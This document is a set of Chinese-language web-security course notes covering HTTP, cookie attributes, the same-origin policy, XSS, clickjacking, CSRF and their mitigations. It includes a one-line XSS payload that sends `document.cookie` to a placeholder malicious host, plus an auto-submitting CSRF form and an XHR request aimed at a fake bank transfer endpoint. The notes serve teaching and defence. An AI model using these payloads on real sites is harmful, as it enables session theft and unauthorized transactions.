---
# System prepended metadata

title: 2020 程安 Web筆記1 (XSS.CSRF)
tags: [web, 程式安全]

---

# 2020 程安 Web筆記1 (XSS.CSRF)
###### tags: `程式安全` `web`

## What is web
:::info
Q:從瀏覽器輸入`http://example.com/`到看到畫面之間發生了什麼事?
:::

> 1. URL解析: 
> -- 協定類型: `http`
> -- server domain name: `example.com`
> 2. 送DNS Query到DNS Server來獲得Domain name對應的IP address(`93.184.216.34`)
> 3. 向`93.184.216.34`的`80port`(HTTP)發出建立TCP/IP的請求(`SYN`)來傳輸檔案
> -- TCP三方交握
> 4. 經由TCP/IP發送`HTTP request`
> -- get method : 只需要一個封包(同時傳header跟data)
> -- post method : 先傳header,等到server回傳status code `100 continue`之後,再傳data封包
> 5. server回應`200 OK`以及data
> 6. 向server傳送`FIN`封包來表示要關閉連線(也可以由server端發起)
> -- TCP四次揮手(4-way handshake)

### 前端及後端
![](https://i.imgur.com/YaZVeOt.png =400x300)
- 前端: 瀏覽器部分
- 後端: HTTP protocol

### URL(Uniform Resource Locator)
- 格式
`[protocol]://[domain](:[port])(/[path])(?[query])(#[fragment])`
    - `fragment`是給瀏覽器看的,通常拿來定位網頁的位置(ex 第幾行)
    
### HTTP Request
- ex `http://example.com/foo/bar?q=bazz`

    ![](https://i.imgur.com/d7cArWo.png =250x)
     - `POST`代表用POST method送http request
         - 其他: GET. DELETE. PUT. ...也可以自定義
         - depend on瀏覽器
     - 藍格子代表space
     - `HTTP/1.1`代表HTTP版本為1.1
     - `\r\n`
         - Carriage Return: \r (0x0d) : 回到本行行首
         - Line Feed : \n (0x0a) : 換行
     - 第2-4行(第五行`\r\n`之前)為header
     - 第五行之後的內容為body
         - GET method沒有body
    
- GET vs POST
    ![](https://i.imgur.com/3PgVngC.png)
    $\Rightarrow$ 通常POST會拿來處理較複雜的操作,但還是可以用GET硬幹(看瀏覽器怎麼處理)
    
### HTTP response
- ex
    ![](https://i.imgur.com/E59jQvZ.png =400x200)
    - status code
        | 狀態碼 | 代表                                      | example</br>(code+reason phrase)      |
        |:------:| ----------------------------------------- | :-------------------------------------: |
        |  1xx   | 資訊回應(換protocol</br>或需要繼續傳東西) | 100 Continue</br>101 Switch protocols |
        |  2xx   | 成功回應                                  | 200 OK                                |
        |  3xx   | 重定向訊息                                | 302 Found                             |
        |  4xx   | client錯誤回應                            | 403 Forbidden</br>404 Not Found       |
        |  5xx   | server錯誤回應                            | 502 Bad Gateway                       |
        
#### response body 
- 由三個部分組成
    1. HTML : 大概架構
    2. CSS : 加上顏色/美觀
    3. JavaScript : 讓網頁可以做複雜的事情(ex跟user溝通)
    
## 後端安全 -- Cookie
- 因為HTTP是一個stateless的protocol
    > server不會認得是哪個client,是否曾經傳過request
    > ex google的web server不會記得你是否有登入
    - 因此利用cookie來記錄這些資訊(確認使用者身分)
        > ex 拿學生證進入宿舍的人
        > - 當一群人(client)一起進入宿舍時,如果有正確學生證(cookie)的人才會放行

- cookie的所屬範圍為domain
    - subdomain也可使用該cookie
    - 同domain但不同port之間的cookie也可互相存取
    - SOP(same origin policy) 
        - **同domain同port同protocol**的資料才可互相存取
- HTTP cookie
    1. Client向Server發送HTTP request
    ![](https://i.imgur.com/HcNCwCe.png =200x100)
    2. Server收到回應之後回傳set-cookie header,給予一個供server比對的cookie值(session id)
    ![](https://i.imgur.com/1FBzYyS.png =300x50)
    3. Client收到之後將cookie級其值存到browser的cookie存放區以及其所屬domain(Server),過期時間,etc
    4. 之後每次Client向同一個Server送request時,都會帶上cookie
    ![](https://i.imgur.com/DyGrnez.png =250x100)

    5. Server會拿cookie值(session id)比對server中的值,來確認使用者資訊
        | number  | user  |
        | :----:  | :---: |
        | **777** | Alice |
        | 888     | Bob   |
        
    :::info
    因此,若可以知道其他user的session id,
    就可以把cookie值設為其session id來偽裝為該user做某些事
    $\Rightarrow$ 實務上,通常session id通常會是一個**random值**( $\because$ 無法預測)
    :::

### Cookie的一些安全性相關attribute
- ex Server的set-cookie header可以帶一些attribute
```Set-Cookie: number=777; HttpOnly; Secure; SameSite=Strict```
1. `HttpOnly`
    - 在 URL 位置輸入`javascript: alert(document.cookie)`,可以看到該 domain 的 cookie
        - 若cookie被設為`HttpOnly`, JavaScript就**無法access cookie**

2. `Secure`
    - `Secure`表示**只能用**HTTPS
        - HTTP vs HTTPS: HTTP是明文傳送,HTTPS則是加上SSL/TLS加密
            - HTTP的話如果封包被攔截,明文cookie就會被人撿走

3. `Domain`
    - 規定該cookie只能在某domain下使用(包含subdomain)
        - 如果沒設定預設為該server的domain

4. `Path`
5. `SameSite`
    - 設定cross site請求是否能帶上該cookie
        - 用來預防SOP bypass及CSRF攻擊(跨站偽造請求攻擊)
            > ex. 
            > - Client在`a.meow.com`這個地址對`b.meow.com`中的圖片request
            > --> 視為same-site,因為都在`meow.com`這個domain下
            > 
            > - Client在`a.meow.com`這個地址對`a.dog.com`中的圖片request
            > --> 則視為cross-site
            > 
            > - 而`my_proj.github.io`對`ur_proj.github.io`中的圖片request
            > --> 也視為cross-site
            > 因為若有像`github.io`這樣的服務商後綴,會被看成不同的網站
    - 3種值
        1. `None` : same-site request及cross-site request皆可帶上該cookie
        2. `Strict` : 限制只有same-site request才可帶上該cookie
        3. `Lax` : same-site request與部分的cross-site request(ex GET request)才可以帶上該cookie

## 前端安全
### SOP(Same Origin Policy)同源政策
- 在Client端,只有同源的website才可共享彼此的資源
    - 同源 = 同domain & 同port & 同protocol
    ![](https://i.imgur.com/j5OTyzE.png)
    
- 通常來說不同源之間彼此不共享資源,但**允許做寫入**
- 但還是有可以read的特例
    - 允許讀進不同源網站的js或css : 
        - `<script src=...>`
        - 但無法得到該script的詳細錯誤資訊,防止變成攻擊點(利用錯誤資訊來讀取server內容)
    - load不同源網站的圖片,影片,...
        - `<img src=...>`
        - 但無法讀取該圖片的raw pixel
    - 也可以用iframe來嵌入不同源的網站
        - ex yahoo首頁上很多廣告(?
    - ...

### XSS(Cross-site Scripting)
- Server沒有過濾掉input中的特殊符號,造成攻擊者可以在input中塞script,進而被瀏覽器執行
- 三種類型
    1. Self-XSS : 受害者自己輸入xss payload才能成功
        - 在url輸入 `fetch("http://malicious.com/?" + document.cookie)`,攻擊者就可以獲得妳的cookie
    2. Reflected XSS : 輸入的script直接反映在瀏覽器上
    3. 

#### some tricks
- 因為有些input會濾掉一些特殊作用的tag(ex <script>),因此可以利用一些較無安全性的tag來測試是否能達成html injection
    - ex. `<h1>header</h1>`, `<marquee>跑馬燈</marquee>`    

#### Mitigation
1. 瀏覽器上的X-XSS protection
    - 比對query pattern跟Response內文是否相同
        > 但只適用於reflected型
        > 如果是儲存型的不適用
    - 但此feature已經不再使用,因為容易誤判,也可以被bypass
2. CSP(Content Security Policy)
    - 放在HTTP Response header中
    - browser會去parse response來判斷哪些是trusted resource
        i.e. 哪些可以load進來
    - ex. 代表只有來自`example.com`的javascript source可以load進來,不會執行任何inline script
    ![](https://i.imgur.com/EMwRmrH.png =500x100)
    `CSP的定義方法還有很多種,常用的有hash跟nonce`
    ![](https://i.imgur.com/4D1dxvK.png =500x140)

### Clickjack
![](https://i.imgur.com/oAxHe0j.png)
> 上面可能嵌了你看不到的iframe,如果按下去可能會不小心執行到非預期的東西
        
- mitigation  
    - 在HTTP response header加入`X-Frame-Options`:防止別人用iframe嵌你的page
        > X-Frame-Options : DENY
        > X-Frame-Options : SAMEORIGIN
    
    - 用CSP的`frame-ancestors`限制別人如果要iframe你的page要符合甚麼樣的條件
    - 設定`SameSite`cookie
    
### CSRF(Cross site request forgery)
#### GET為例
    - 如果A傳送了一個網站給B,且頁面裡面有`<image src='http://bank.com/transfer?recver=A&amount=100>`,若B訪問了該網頁,browser看到該行就會送一個GET request給`bank.com/transfer`,而因為**cookie是綁定domain**的,因此browser在送request時就帶上B屬於`bank.com`的cookie
$\Rightarrow$ `bank.com` server 看到是B的cookie之後,就理所當然地認為是B發的request,因此就將100塊轉給A已達成攻擊

#### POST一樣可以做到(弄成form的形式,並且一被訪問就送出)
```html
<form id='f' method='POST' action='http://bank.com/transfer'>
    <input type='text' name='recver' value='A'>
    <input type='number' name='amount' value='100'>
</form>
<script>document.getElementById('f').submit()</script>
```
$\Rightarrow$ 送出的`http post request`就會長得像這樣
```html   
POST /transfer HTTP/1.1
Host : bank.com
Cookie : sessid=q73wMAPiH27B3whH  # B's Cookie
Content-length=19
    
recver=A&amount=100
```
#### Mitigation
- POST的方法中,在form中加上一個`csrf_token`
    - csrf_token是一個不可預測的nonce
    - 因此攻擊者無法得知csrf_token
    ![](https://i.imgur.com/F8YnEpm.png)




## 可以送request的方法
:::info
Note:
- 可以送Request的html tag
    - img : GET
    - iframe : GET
    - form : 可指定method
- 可以送Request的JavaScript
    - fetch : 後面接**JSON格式**,可指定method
        - fetch(url, {..., method:'POST', ...})
    - XMLHttpRequest : 可指定method
        - ex
            ```javascript
            var xhr = new XMLHttpRequest()

            xhr.open('POST', 'http://bank.com/transfer')
            //xhr.open('GET', 'http://bank.com/transfer?recver=A&amount=100')
            
            xhr.setRequestHeader('Content-Typpe','application/x-www-form-urlencoded; charset=UTF-8')  
            // header, value
            // POST要送出表單一定要設置Content-Type
            
            xhr.send('recver=A&amount=100') // 如果是GET method這邊就send(null)
            ```
- 如果要送其他method?(ex PUT)或送複雜不常見的header(ex X-AUTH)  
    $\Rightarrow$ 必須要先通過[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#Simple_requests)(Cross Origin Resource Sharing)的限制
    > 先送一個OPTIONS request(稱作Preflighted requests)給server
    > server同意之後才能繼續
:::
